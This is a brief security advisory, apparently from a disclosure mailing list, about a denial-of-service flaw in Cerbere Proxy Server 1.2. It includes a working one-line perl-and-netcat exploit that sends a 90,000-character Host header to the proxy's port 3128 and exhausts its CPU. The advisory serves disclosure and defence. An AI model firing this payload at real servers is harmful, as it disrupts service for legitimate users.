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Cerbere Proxy Server Host DoS
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SUMMARY
<http://cerbere.szym.org/> Cerbere Proxy Server is "a proxy server that
supports HTTP, FTP, SSL, DNS, SOCKS 4 and SOCKS 5 protocols".
A vulnerability in the product allows a remote attacker to cause the
product to consume 99% of the CPU time, thus preventing the product from
responding to legitimate requests.
DETAILS
Vulnerable Systems:
* Cerbere Proxy Server version 1.2
Exploit:
By issuing the following command it is possible to recreate the problem:
perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" .
"\r\n\r\n" ' | nc "Proxy_IP" 3128
ADDITIONAL INFORMATION
The information has been provided by <mailto:gss_it@yahoo.com> GSS IT.
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